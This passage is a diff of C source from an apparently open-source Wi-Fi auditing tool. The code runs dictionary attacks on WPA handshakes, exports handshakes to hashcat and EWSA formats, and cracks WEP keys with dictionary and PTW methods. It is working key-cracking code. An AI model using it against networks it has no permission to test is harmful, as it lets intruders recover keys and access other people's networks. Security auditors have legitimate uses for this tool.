+	ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+	if (opt.dict != NULL)
+	{
+		if (!opt.stdin_dict) fclose(opt.dict);
+		opt.dict = NULL;
+	}
+	opt.nbdict = nb;
+	if (opt.dicts[opt.nbdict] == NULL)
+	{
+		ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+		return (FAILURE);
+	}
+
+	while (opt.nbdict < MAX_DICTS && opt.dicts[opt.nbdict] != NULL)
+	{
+		if (strcmp(opt.dicts[opt.nbdict], "-") == 0)
+		{
+			opt.stdin_dict = 1;
+			opt.dictfinish = 1; // no ETA stats on stdin
+
+			if ((opt.dict = fdopen(fileno(stdin), "r")) == NULL)
+			{
+				perror("fdopen(stdin) failed");
+				opt.nbdict++;
+				continue;
+			}
+
+			opt.no_stdin = 1;
+		}
+		else
+		{
+			opt.stdin_dict = 0;
+			if ((opt.dict = fopen(opt.dicts[opt.nbdict], "r")) == NULL)
+			{
+				printf("ERROR: Opening dictionary %s failed (%s)\n",
+					   opt.dicts[opt.nbdict],
+					   strerror(errno));
+				opt.nbdict++;
+				continue;
+			}
+
+			ALLEGE(fseek(opt.dict, 0L, SEEK_END) != -1);
+
+			if (ftello(opt.dict) <= 0L)
+			{
+				printf("ERROR: Processing dictionary file %s (%s)\n",
+					   opt.dicts[opt.nbdict],
+					   strerror(errno));
+				fclose(opt.dict);
+				opt.dict = NULL;
+				opt.nbdict++;
+				continue;
+			}
+
+			if (!opt.dictfinish)
+			{
+				chrono(&t_dictup, 1);
+				opt.dictidx[opt.nbdict].dictsize = ftello(opt.dict);
+
+				if (!opt.dictidx[opt.nbdict].dictpos
+					|| (opt.dictidx[opt.nbdict].dictpos
+						> opt.dictidx[opt.nbdict].dictsize))
+				{
+					tmpword = (off_t) linecount(
+						opt.dicts[opt.nbdict],
+						(opt.dictidx[opt.nbdict].dictpos
+							 ? opt.dictidx[opt.nbdict].dictpos
+							 : 0),
+						32);
+
+					opt.dictidx[opt.nbdict].wordcount += tmpword;
+					opt.wordcount += tmpword;
+					opt.dictidx[opt.nbdict].dictpos = (READBUF_BLKSIZE * 32);
+				}
+			}
+
+			rewind(opt.dict);
+		}
+		break;
+	}
+
+	ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+	if (opt.nbdict >= MAX_DICTS || opt.dicts[opt.nbdict] == NULL)
+		return (FAILURE);
+
+	// Update wordlist ID and position in session
+	if (cracking_session)
+	{
+		ALLEGE(pthread_mutex_lock(&(cracking_session->mutex)) == 0);
+
+		cracking_session->pos = 0;
+		cracking_session->wordlist_id = (uint8_t) opt.nbdict;
+
+		ALLEGE(pthread_mutex_unlock(&(cracking_session->mutex)) == 0);
+	}
+
+	return (SUCCESS);
+}
+
+#ifdef HAVE_SQLITE
+static int
+sql_wpacallback(void * arg, int ccount, char ** values, char ** columnnames)
+{
+	UNUSED_PARAM(ccount);
+	UNUSED_PARAM(values);
+	UNUSED_PARAM(columnnames);
+	REQUIRE(arg != NULL);
+
+	struct AP_info * ap = (struct AP_info *) arg;
+
+	unsigned char ptk[80];
+	unsigned char mic[20];
+	FILE * keyFile;
+
+	calc_mic(ap, (unsigned char *) values[0], ptk, mic);
+
+	if (memcmp(mic, ap->wpa.keymic, 16) == 0)
+	{
+		// Write the key to a file
+		if (opt.logKeyToFile != NULL)
+		{
+			keyFile = fopen(opt.logKeyToFile, "w");
+			if (keyFile != NULL)
+			{
+				fprintf(keyFile, "%s", values[1]);
+				ALLEGE(fclose(keyFile) != -1);
+			}
+		}
+
+		if (opt.is_quiet)
+		{
+			printf("KEY FOUND! [ %s ]\n", values[1]);
+			return (FAILURE);
+		}
+
+		show_wpa_stats(values[1],
+					   (int) strlen(values[1]),
+					   (unsigned char *) (values[0]),
+					   ptk,
+					   mic,
+					   1);
+
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_RED);
+		}
+
+		moveto((80 - 15 - (int) strlen(values[1])) / 2, 8);
+		erase_line(2);
+		printf("KEY FOUND! [ %s ]\n", values[1]);
+		move(CURSOR_DOWN, 11);
+
+		if (opt.l33t)
+		{
+			textcolor_normal();
+			textcolor_fg(TEXT_GREEN);
+		}
+
+		// abort the query
+		return (FAILURE);
+	}
+
+	ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+	nb_tried++;
+	nb_kprev++;
+	ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+
+	if (!opt.is_quiet)
+		show_wpa_stats(values[1],
+					   (int) strlen(values[1]),
+					   (unsigned char *) (values[0]),
+					   ptk,
+					   mic,
+					   0);
+
+	return (SUCCESS);
+}
+#endif
+
+static int display_wpa_hash_information(struct AP_info * ap_cur)
+{
+	unsigned i = 0;
+
+	if (ap_cur == NULL)
+	{
+		printf("No valid WPA handshakes found.\n");
+		return (FAILURE);
+	}
+
+	if (memcmp(ap_cur->essid, ZERO, ESSID_LENGTH) == 0 && !opt.essid_set)
+	{
+		printf("An ESSID is required. Try option -e.\n");
+		return (FAILURE);
+	}
+
+	if (opt.essid_set && ap_cur->essid[0] == '\0')
+	{
+		memcpy(ap_cur->essid, opt.essid, sizeof(ap_cur->essid));
+	}
+
+	printf("[*] ESSID (length: %d): %s\n",
+		   (int) ustrlen(ap_cur->essid),
+		   ap_cur->essid);
+
+	printf("[*] Key version: %d\n", ap_cur->wpa.keyver);
+
+	printf("[*] BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
+		   ap_cur->bssid[0],
+		   ap_cur->bssid[1],
+		   ap_cur->bssid[2],
+		   ap_cur->bssid[3],
+		   ap_cur->bssid[4],
+		   ap_cur->bssid[5]);
+	printf("[*] STA: %02X:%02X:%02X:%02X:%02X:%02X",
+		   ap_cur->wpa.stmac[0],
+		   ap_cur->wpa.stmac[1],
+		   ap_cur->wpa.stmac[2],
+		   ap_cur->wpa.stmac[3],
+		   ap_cur->wpa.stmac[4],
+		   ap_cur->wpa.stmac[5]);
+
+	printf("\n[*] anonce:");
+	for (i = 0; i < sizeof(ap_cur->wpa.anonce); i++)
+	{
+		if (i % 16 == 0) printf("\n    ");
+		printf("%02X ", ap_cur->wpa.anonce[i]);
+	}
+
+	printf("\n[*] snonce:");
+	for (i = 0; i < sizeof(ap_cur->wpa.snonce); i++)
+	{
+		if (i % 16 == 0) printf("\n    ");
+		printf("%02X ", ap_cur->wpa.snonce[i]);
+	}
+
+	printf("\n[*] Key MIC:\n   ");
+	for (i = 0; i < sizeof(ap_cur->wpa.keymic); i++)
+	{
+		printf(" %02X", ap_cur->wpa.keymic[i]);
+	}
+
+	printf("\n[*] eapol:");
+	for (i = 0; i < ap_cur->wpa.eapol_size; i++)
+	{
+		if (i % 16 == 0) printf("\n    ");
+		printf("%02X ", ap_cur->wpa.eapol[i]);
+	}
+
+	return (SUCCESS);
+}
+
+static int do_make_wkp(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	size_t elt_written;
+
+	printf("\n\nBuilding WKP file...\n\n");
+	if (display_wpa_hash_information(ap_cur) != 0)
+	{
+		return (FAILURE);
+	}
+	printf("\n");
+
+	// write file
+	FILE * fp_wkp;
+	char frametmp[WKP_FRAME_LENGTH];
+	char * ptmp;
+
+	memcpy(frametmp, wkp_frame, WKP_FRAME_LENGTH * sizeof(char));
+
+	// Make sure the filename contains the extension
+	if (!(string_has_suffix(opt.wkp, ".wkp")
+		  || string_has_suffix(opt.wkp, ".WKP")))
+	{
+		strcat(opt.wkp, ".wkp");
+	}
+
+	fp_wkp = fopen(opt.wkp, "w");
+	if (fp_wkp == NULL)
+	{
+		printf("\nFailed to create EWSA project file\n");
+		return (FAILURE);
+	}
+
+	// ESSID
+	memcpy(&frametmp[0x4c0], ap_cur->essid, sizeof(ap_cur->essid));
+
+	// BSSID
+	ptmp = (char *) ap_cur->bssid;
+	memcpy(&frametmp[0x514], ptmp, ETHER_ADDR_LEN);
+
+	// Station Mac
+	ptmp = (char *) ap_cur->wpa.stmac;
+	memcpy(&frametmp[0x51a], ptmp, ETHER_ADDR_LEN);
+
+	// ESSID
+	memcpy(&frametmp[0x520], ap_cur->essid, sizeof(ap_cur->essid));
+
+	// ESSID length
+	frametmp[0x540] = (uint8_t) ustrlen(ap_cur->essid);
+
+	// WPA Key version
+	frametmp[0x544] = ap_cur->wpa.keyver;
+
+	// Size of EAPOL
+	frametmp[0x548] = (uint8_t) ap_cur->wpa.eapol_size;
+
+	// anonce
+	ptmp = (char *) ap_cur->wpa.anonce;
+	memcpy(&frametmp[0x54c], ptmp, sizeof(ap_cur->wpa.anonce));
+
+	// snonce
+	ptmp = (char *) ap_cur->wpa.snonce;
+	memcpy(&frametmp[0x56c], ptmp, sizeof(ap_cur->wpa.snonce));
+
+	// EAPOL
+	ptmp = (char *) ap_cur->wpa.eapol;
+	memcpy(&frametmp[0x58c], ptmp, ap_cur->wpa.eapol_size);
+
+	// Key MIC
+	ptmp = (char *) ap_cur->wpa.keymic;
+	memcpy(&frametmp[0x68c], ptmp, 16);
+
+	elt_written = fwrite(frametmp, 1, WKP_FRAME_LENGTH, fp_wkp);
+	ALLEGE(fclose(fp_wkp) != -1);
+
+	if ((int) elt_written == WKP_FRAME_LENGTH)
+	{
+		printf("\nSuccessfully written to %s\n", opt.wkp);
+		return (SUCCESS);
+	}
+	else
+	{
+		printf("\nFailed to write to %s\n !", opt.wkp);
+		return (FAILURE);
+	}
+}
+
+// return by value because it is the simplest interface and we call this
+// infrequently
+static hccap_t ap_to_hccap(struct AP_info * ap)
+{
+	REQUIRE(ap != NULL);
+
+	hccap_t hccap;
+
+	memset(&hccap, 0, sizeof(hccap));
+	ap->wpa.state = 7;
+	ap->crypt = 3;
+
+	memcpy(&hccap.essid, &ap->essid, sizeof(ap->essid));
+	memcpy(&hccap.mac1, &ap->bssid, sizeof(ap->bssid));
+	memcpy(&hccap.mac2, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
+	memcpy(&hccap.nonce1, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
+	memcpy(&hccap.nonce2, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
+	memcpy(&hccap.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
+	memcpy(&hccap.eapol_size, &ap->wpa.eapol_size, sizeof(ap->wpa.eapol_size));
+	memcpy(&hccap.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
+	memcpy(&hccap.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
+
+	return (hccap);
+}
+
+#if 0
+// Caller must free
+__attribute__((unused)) static struct AP_info * hccap_to_ap(hccap_t * hccap)
+{
+	REQUIRE(hccap != NULL);
+
+	struct AP_info * ap = malloc(sizeof(struct AP_info));
+	ALLEGE(ap != NULL);
+	memset(&ap, 0, sizeof(ap));
+
+	memcpy(&ap->essid, &hccap->essid, sizeof(ap->essid)); //-V512
+	memcpy(&ap->bssid, &hccap->mac1, sizeof(ap->bssid));
+	memcpy(&ap->wpa.stmac, &hccap->mac2, sizeof(hccap->mac2));
+	memcpy(&ap->wpa.snonce, &hccap->nonce1, sizeof(hccap->nonce1));
+	memcpy(&ap->wpa.anonce, &hccap->nonce2, sizeof(hccap->nonce2));
+	memcpy(&ap->wpa.eapol, &hccap->eapol, sizeof(hccap->eapol));
+	memcpy(&ap->wpa.eapol_size, &hccap->eapol_size, sizeof(hccap->eapol_size));
+	memcpy(&ap->wpa.keyver, &hccap->keyver, sizeof(ap->wpa.keyver));
+	memcpy(&ap->wpa.keymic, &hccap->keymic, sizeof(hccap->keymic));
+
+	return (ap);
+}
+#endif
+
+static int do_make_hccap(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	size_t elt_written;
+
+	printf("\n\nBuilding Hashcat file...\n\n");
+	if (display_wpa_hash_information(ap_cur) != 0)
+	{
+		return (FAILURE);
+	}
+	printf("\n");
+
+	// write file
+	FILE * fp_hccap;
+
+	strcat(opt.hccap, ".hccap");
+
+	fp_hccap = fopen(opt.hccap, "wb");
+	if (fp_hccap == NULL)
+	{
+		printf("\nFailed to create Hashcat capture file\n");
+		return (FAILURE);
+	}
+
+	hccap_t hccap = ap_to_hccap(ap_cur);
+
+	elt_written = fwrite(&hccap, sizeof(hccap_t), 1, fp_hccap);
+	ALLEGE(fclose(fp_hccap) != -1);
+
+	if (elt_written == 1u)
+	{
+		printf("\nSuccessfully written to %s\n", opt.hccap);
+		return (SUCCESS);
+	}
+	else
+	{
+		printf("\nFailed to write to %s\n !", opt.hccap);
+		return (FAILURE);
+	}
+}
+
+// Caller must free
+struct AP_info * hccapx_to_ap(struct hccapx * hx)
+{
+	REQUIRE(hx != NULL);
+
+	struct AP_info * ap = malloc(sizeof(struct AP_info));
+	ALLEGE(ap != NULL);
+	memset(ap, 0, sizeof(struct AP_info));
+	ap->wpa.state = 7;
+	ap->crypt = 3;
+
+	ALLEGE((MIN(sizeof(hx->essid), sizeof(ap->essid))) <= 32); //-V547
+	memcpy(&ap->essid, //-V512
+		   &hx->essid,
+		   MIN(sizeof(hx->essid), sizeof(ap->essid)));
+	memcpy(&ap->bssid, &hx->mac_ap, sizeof(hx->mac_ap));
+	memcpy(&ap->wpa.stmac, &hx->mac_sta, sizeof(hx->mac_sta));
+	memcpy(&ap->wpa.snonce, &hx->nonce_sta, sizeof(hx->nonce_sta));
+	memcpy(&ap->wpa.anonce, &hx->nonce_ap, sizeof(hx->nonce_ap));
+	memcpy(&ap->wpa.eapol, &hx->eapol, sizeof(hx->eapol));
+	memcpy(&ap->wpa.keyver, &hx->keyver, sizeof(hx->keyver));
+	memcpy(&ap->wpa.keymic, &hx->keymic, sizeof(hx->keymic));
+
+	assert(sizeof(hx->eapol_len) == 2);
+	ap->wpa.eapol_size = le16_to_cpu(hx->eapol_len);
+
+	return (ap);
+}
+
+// See: https://hashcat.net/wiki/doku.php?id=hccapx
+static struct MessagePairLUT
+{
+	uint8_t found_mask;
+	uint8_t eapol_mask;
+	uint8_t message_pair;
+} message_pair_lookup_table[] = {
+	{(1 << 1) + (1 << 2), (1 << 2), 128},
+	{(1 << 1) + (1 << 4), (1 << 4), 129},
+	{(1 << 2) + (1 << 3), (1 << 2), 130},
+	{(1 << 2) + (1 << 3), (1 << 3), 131},
+	{(1 << 3) + (1 << 4), (1 << 3), 132},
+	{(1 << 3) + (1 << 4), (1 << 4), 133},
+};
+
+static hccapx_t ap_to_hccapx(struct AP_info * ap)
+{
+	REQUIRE(ap != NULL);
+
+	struct hccapx hx;
+	uint32_t temp;
+	uint8_t ssid_len;
+
+	memset(&hx, 0, sizeof(hx));
+
+	temp = cpu_to_le32(HCCAPX_SIGNATURE);
+	memcpy(&hx.signature, &temp, sizeof(temp));
+	temp = cpu_to_le32(HCCAPX_CURRENT_VERSION);
+	memcpy(&hx.version, &temp, sizeof(temp));
+
+	hx.message_pair = 0;
+	for (size_t i = 0; i < ArrayCount(message_pair_lookup_table); ++i)
+	{
+		const struct MessagePairLUT * item = &message_pair_lookup_table[i];
+		if ((ap->wpa.found & item->found_mask) == item->found_mask
+			&& (ap->wpa.eapol_source & item->eapol_mask) != 0)
+		{
+			hx.message_pair = item->message_pair;
+		}
+	}
+	ALLEGE(hx.message_pair > 0);
+
+	if ((ap->wpa.eapol_source & (1 << 3)) != 0)
+	{
+		fprintf(stderr,
+				"WARNING: The created HCCAPX file will not be able to "
+				"properly convert back to PCAP format.\n");
+
+		if (ap->wpa.eapol_size >= sizeof(hx.eapol))
+		{
+			fprintf(stderr,
+					"FATAL: EAPOL data from M3 exceeds maximum size of "
+					"255 bytes.\n");
+		}
+	}
+
+	ssid_len = (uint8_t) ustrlen(ap->essid);
+	memcpy(&hx.essid_len, &ssid_len, sizeof(ssid_len));
+
+	memcpy(&hx.essid, &ap->essid, sizeof(hx.essid)); //-V512
+	memcpy(&hx.mac_ap, &ap->bssid, sizeof(ap->bssid));
+	memcpy(&hx.mac_sta, &ap->wpa.stmac, sizeof(ap->wpa.stmac));
+	memcpy(&hx.keyver, &ap->wpa.keyver, sizeof(ap->wpa.keyver));
+	memcpy(&hx.keymic, &ap->wpa.keymic, sizeof(ap->wpa.keymic));
+	memcpy(&hx.nonce_sta, &ap->wpa.snonce, sizeof(ap->wpa.snonce));
+	memcpy(&hx.nonce_ap, &ap->wpa.anonce, sizeof(ap->wpa.anonce));
+	hx.eapol_len = cpu_to_le16((uint16_t) ap->wpa.eapol_size);
+	memcpy(&hx.eapol, &ap->wpa.eapol, sizeof(ap->wpa.eapol));
+
+	return (hx);
+}
+
+static int do_make_hccapx(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	size_t elt_written;
+
+	printf("\n\nBuilding Hashcat (3.60+) file...\n\n");
+	if (display_wpa_hash_information(ap_cur) != 0)
+	{
+		return (FAILURE);
+	}
+	printf("\n");
+
+	// write file
+	FILE * fp_hccapx;
+
+	strcat(opt.hccapx, ".hccapx");
+
+	fp_hccapx = fopen(opt.hccapx, "wb");
+	if (fp_hccapx == NULL)
+	{
+		printf("\nFailed to create Hashcat X capture file\n");
+		return (FAILURE);
+	}
+
+	struct hccapx hx = ap_to_hccapx(ap_cur);
+
+	elt_written = fwrite(&hx, sizeof(struct hccapx), 1, fp_hccapx);
+	ALLEGE(fclose(fp_hccapx) != -1);
+
+	if ((int) elt_written == 1)
+	{
+		printf("\nSuccessfully written to %s\n", opt.hccapx);
+		return (SUCCESS);
+	}
+	else
+	{
+		printf("\nFailed to write to %s\n !", opt.hccapx);
+		return (FAILURE);
+	}
+}
+
+static int do_wpa_crack(void)
+{
+	int cid;
+	char key1[128];
+
+	// display program banner
+	if (!opt.is_quiet && !_speed_test)
+	{
+		if (opt.l33t) textcolor(TEXT_RESET, TEXT_WHITE, TEXT_BLACK);
+
+		erase_display(2);
+
+		if (opt.l33t)
+		{
+			textstyle(TEXT_BRIGHT);
+			textcolor_fg(TEXT_BLUE);
+		}
+
+		moveto((80 - (int) strlen(progname)) / 2, 2);
+		printf("%s", progname);
+	}
+
+	// Initial thread to communicate with.
+	cid = 0;
+
+	// Loop until no passphrases or one is found.
+	while (!wpa_cracked && !close_aircrack)
+	{
+		// clear passphrase buffer.
+		memset(key1, 0, sizeof(key1));
+		if (_speed_test)
+			strcpy(key1, "sorbosorbo");
+		else
+		{
+			ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+			if (opt.dict == NULL
+				|| fgets(key1, sizeof(key1) - 1, opt.dict) == NULL)
+			{
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
+				if (next_dict(opt.nbdict + 1) != 0)
+				{
+					return (FAILURE);
+				}
+				else
+					continue;
+			}
+			else
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+			// Validate incoming passphrase meets the following criteria:
+			// a. is not the pipeline shutdown sentinel.
+			// b. is at least 8 bytes and roughly UTF-8 compatible.
+			if (((uint8_t) key1[0] == 0xff && (uint8_t) key1[1] == 0xff)
+				|| calculate_passphrase_length((uint8_t *) key1)
+					   < MIN_WPA_PASSPHRASE_LEN)
+			{
+				ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+				++nb_tried;
+				ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+
+				continue;
+			}
+		}
+
+		/* count number of lines in next wordlist chunk */
+		wl_count_next_block(&(wpa_data[cid]));
+
+		/* send the passphrase */
+		cid = (cid + 1) % opt.nbcpu;
+
+		(void) wpa_send_passphrase(key1, &(wpa_data[cid]), 1);
+	}
+
+	return (FAILURE);
+}
+
+static int next_key(char ** key, int keysize)
+{
+	REQUIRE(key != NULL);
+	REQUIRE(keysize > 0);
+
+	char *tmp, *tmpref;
+	int i, rtn;
+	unsigned int dec;
+	char * hex;
+
+	tmpref = tmp = (char *) malloc(1024);
+	ALLEGE(tmpref != NULL);
+	ALLEGE(tmp != NULL);
+
+	while (1)
+	{
+		rtn = 0;
+		ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+		if (opt.dict == NULL)
+		{
+			ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+			free(tmpref);
+			tmp = NULL;
+			return (FAILURE);
+		}
+		else
+			ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+		if (opt.hexdict[opt.nbdict])
+		{
+			ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+			if (fgets(tmp, ((keysize * 2) + (keysize - 1)), opt.dict) == NULL)
+			{
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
+
+				if (next_dict(opt.nbdict + 1) != 0)
+				{
+					free(tmpref);
+					tmp = NULL;
+					return (FAILURE);
+				}
+				else
+					continue;
+			}
+			else
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+			i = (int) strlen(tmp);
+
+			if (i <= 2) continue;
+
+			if (tmp[i - 1] == '\n') tmp[--i] = '\0';
+			if (tmp[i - 1] == '\r') tmp[--i] = '\0';
+
+			i = 0;
+
+			hex = strsep(&tmp, ":");
+
+			while (i < keysize && hex != NULL)
+			{
+				if (strlen(hex) > 2 || strlen(hex) == 0)
+				{
+					rtn = 1;
+					break;
+				}
+				if (sscanf(hex, "%x", &dec) == 0)
+				{
+					rtn = 1;
+					break;
+				}
+
+				(*key)[i] = (uint8_t) dec;
+				hex = strsep(&tmp, ":");
+				i++;
+			}
+			if (rtn)
+			{
+				continue;
+			}
+		}
+		else
+		{
+			ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+			if (fgets(*key, keysize, opt.dict) == NULL)
+			{
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+				if (opt.l33t)
+				{
+					textcolor_normal();
+					textcolor_fg(TEXT_GREEN);
+				}
+
+				if (next_dict(opt.nbdict + 1) != 0)
+				{
+					free(tmpref);
+					tmp = NULL;
+					return (FAILURE);
+				}
+				else
+					continue;
+			}
+			else
+				ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+			i = (int) strlen(*key);
+
+			if (i <= 2) continue;
+			if (i >= 64) continue;
+
+			if ((*key)[i - 1] == '\n') (*key)[--i] = '\0';
+			if ((*key)[i - 1] == '\r') (*key)[--i] = '\0';
+		}
+
+		break;
+	}
+
+	free(tmpref);
+	return (SUCCESS);
+}
+
+static int set_dicts(const char * args)
+{
+	REQUIRE(args != NULL);
+
+	int len;
+	char * optargs = strdup(args);
+	char * poptargs = optargs;
+	char * optarg;
+
+	if (optargs == NULL)
+	{
+		perror("Failed to allocate memory for arguments");
+		return (FAILURE);
+	}
+
+	opt.dictfinish = opt.totaldicts = opt.nbdict = 0;
+
+	// Use a temporary poptargs var because \a strsep trashes the value.
+	while ((opt.nbdict < MAX_DICTS)
+		   && (optarg = strsep(&poptargs, ",")) != NULL)
+	{
+		if (!strncasecmp(optarg, "h:", 2))
+		{
+			optarg += 2;
+			opt.hexdict[opt.nbdict] = 1;
+		}
+		else
+		{
+			opt.hexdict[opt.nbdict] = 0;
+		}
+
+		if (!(opt.dicts[opt.nbdict] = strdup(optarg)))
+		{
+			free(optargs);
+			perror("Failed to allocate memory for dictionary");
+			return (FAILURE);
+		}
+
+		opt.nbdict++;
+		opt.totaldicts++;
+	}
+	free(optargs);
+
+	for (len = opt.nbdict; len < MAX_DICTS; len++) opt.dicts[len] = NULL;
+
+	next_dict(0);
+
+	while (next_dict(opt.nbdict + 1) == 0)
+	{
+	}
+
+	next_dict(0);
+
+	return (0);
+}
+
+/*
+Uses the specified dictionary to crack the WEP key.
+
+Return: SUCCESS if it cracked the key,
+		FAILURE if it could not.
+*/
+static int crack_wep_dict(void)
+{
+	struct timeval t_last;
+	struct timeval t_now;
+	int i, origlen, keysize;
+	char * key;
+
+	keysize = opt.keylen + 1;
+
+	update_ivbuf();
+
+	if (wep.nb_ivs < TEST_MIN_IVS)
+	{
+		printf("\n%ld IVs is below the minimum required for a dictionary "
+			   "attack (%d IVs min.)!\n",
+			   wep.nb_ivs,
+			   TEST_MIN_IVS);
+		return (FAILURE);
+	}
+
+	key = (char *) malloc(sizeof(char) * (opt.keylen + 1));
+	if (key == NULL) return (FAILURE);
+
+	gettimeofday(&t_last, NULL);
+	t_last.tv_sec--;
+
+	while (1)
+	{
+		if (next_key(&key, keysize) != SUCCESS)
+		{
+			free(key);
+			return (FAILURE);
+		}
+
+		i = (int) strlen(key);
+
+		origlen = i;
+
+		while (i < opt.keylen)
+		{
+			key[i] = key[i - origlen];
+			i++;
+		}
+
+		key[i] = '\0';
+
+		if (!opt.is_quiet)
+		{
+			gettimeofday(&t_now, NULL);
+			if ((t_now.tv_sec - t_last.tv_sec) > 0)
+			{
+				show_wep_stats(opt.keylen - 1, 1, NULL, NULL, NULL, 0);
+				gettimeofday(&t_last, NULL);
+			}
+		}
+
+		for (i = 0; i <= opt.keylen; i++)
+		{
+			wep.key[i] = (unsigned char) key[i];
+		}
+
+		if (check_wep_key(wep.key, opt.keylen, 0) == SUCCESS)
+		{
+			free(key);
+			wepkey_crack_success = 1;
+			return (SUCCESS);
+		}
+	}
+}
+
+/*
+Uses the PTW attack to crack the WEP key.
+
+Return: SUCCESS if it cracked the key,
+		FAILURE if it could not.
+*/
+static int crack_wep_ptw(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	int(*all)[256];
+	int i, j, len = 0;
+
+	opt.ap = ap_cur;
+
+	all = malloc(32 * sizeof(int[256]));
+	ALLEGE(all != NULL);
+
+	// initial setup (complete keyspace)
+	memset(all, 1, 32 * sizeof(int[256]));
+
+	// setting restricted keyspace
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			if ((opt.is_alnum && (j < 32 || j >= 128))
+				|| (opt.is_fritz && (j < 48 || j >= 58))
+				|| (opt.is_bcdonly && (j > 0x99 || (j & 0x0F) > 0x09)))
+				all[i][j] = 0;
+		}
+	}
+
+	// if debug is specified, force a specific value.
+	for (i = 0; i < 32; i++)
+	{
+		for (j = 0; j < 256; j++)
+		{
+			if (opt.debug_row[i] == 1 && opt.debug[i] != j)
+				all[i][j] = 0;
+			else if (opt.debug_row[i] == 1 && opt.debug[i] == j)
+				all[i][j] = 1;
+		}
+	}
+
+	if (ap_cur->nb_ivs_clean > 99)
+	{
+		ap_cur->nb_ivs = ap_cur->nb_ivs_clean;
+		// first try without bruteforcing, using only "clean" keystreams
+		if (opt.keylen != 13)
+		{
+			if (PTW_computeKey(ap_cur->ptw_clean,
+							   wep.key,
+							   opt.keylen,
+							   (int) (KEYLIMIT * opt.ffact),
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = opt.keylen;
+		}
+		else
+		{
+			/* try 1000 40bit keys first, to find the key "instantly" and you
+			 * don't need to wait for 104bit to fail */
+			if (PTW_computeKey(ap_cur->ptw_clean,
+							   wep.key,
+							   5,
+							   1000,
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = 5;
+			else if (PTW_computeKey(ap_cur->ptw_clean,
+									wep.key,
+									13,
+									(int) (KEYLIMIT * opt.ffact),
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 13;
+			else if (PTW_computeKey(ap_cur->ptw_clean,
+									wep.key,
+									5,
+									(int) (KEYLIMIT * opt.ffact) / 3,
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 5;
+		}
+	}
+	if (!len)
+	{
+		ap_cur->nb_ivs = ap_cur->nb_ivs_vague;
+		// in case it's not found, try bruteforcing the id field and include
+		// "vague" keystreams
+		PTW_DEFAULTBF[10] = 1;
+		PTW_DEFAULTBF[11] = 1;
+
+		if (opt.keylen != 13)
+		{
+			if (PTW_computeKey(ap_cur->ptw_vague,
+							   wep.key,
+							   opt.keylen,
+							   (int) (KEYLIMIT * opt.ffact),
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = opt.keylen;
+		}
+		else
+		{
+			/* try 1000 40bit keys first, to find the key "instantly" and you
+			 * don't need to wait for 104bit to fail */
+			if (PTW_computeKey(ap_cur->ptw_vague,
+							   wep.key,
+							   5,
+							   1000,
+							   PTW_DEFAULTBF,
+							   all,
+							   opt.ptw_attack)
+				== 1)
+				len = 5;
+			else if (PTW_computeKey(ap_cur->ptw_vague,
+									wep.key,
+									13,
+									(int) (KEYLIMIT * opt.ffact),
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 13;
+			else if (PTW_computeKey(ap_cur->ptw_vague,
+									wep.key,
+									5,
+									(int) (KEYLIMIT * opt.ffact) / 10,
+									PTW_DEFAULTBF,
+									all,
+									opt.ptw_attack)
+					 == 1)
+				len = 5;
+		}
+	}
+
+	free(all);
+
+	if (!len) return (FAILURE);
+
+	opt.probability = 100;
+	key_found(wep.key, len, -1);
+
+	return (SUCCESS);
+}
+
+static int missing_wordlist_dictionary(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	if (opt.wkp == NULL && opt.hccap == NULL && opt.hccapx == NULL)
+	{
+		printf("Please specify a dictionary (option -w).\n");
+	}
+	else
+	{
+		if (opt.wkp)
+		{
+			return (do_make_wkp(ap_cur));
+		}
+		if (opt.hccap)
+		{
+			return (do_make_hccap(ap_cur));
+		}
+		if (opt.hccapx)
+		{
+			return (do_make_hccapx(ap_cur));
+		}
+	}
+
+	return (SUCCESS);
+}
+
+static int perform_wep_crack(struct AP_info * ap_cur)
+{
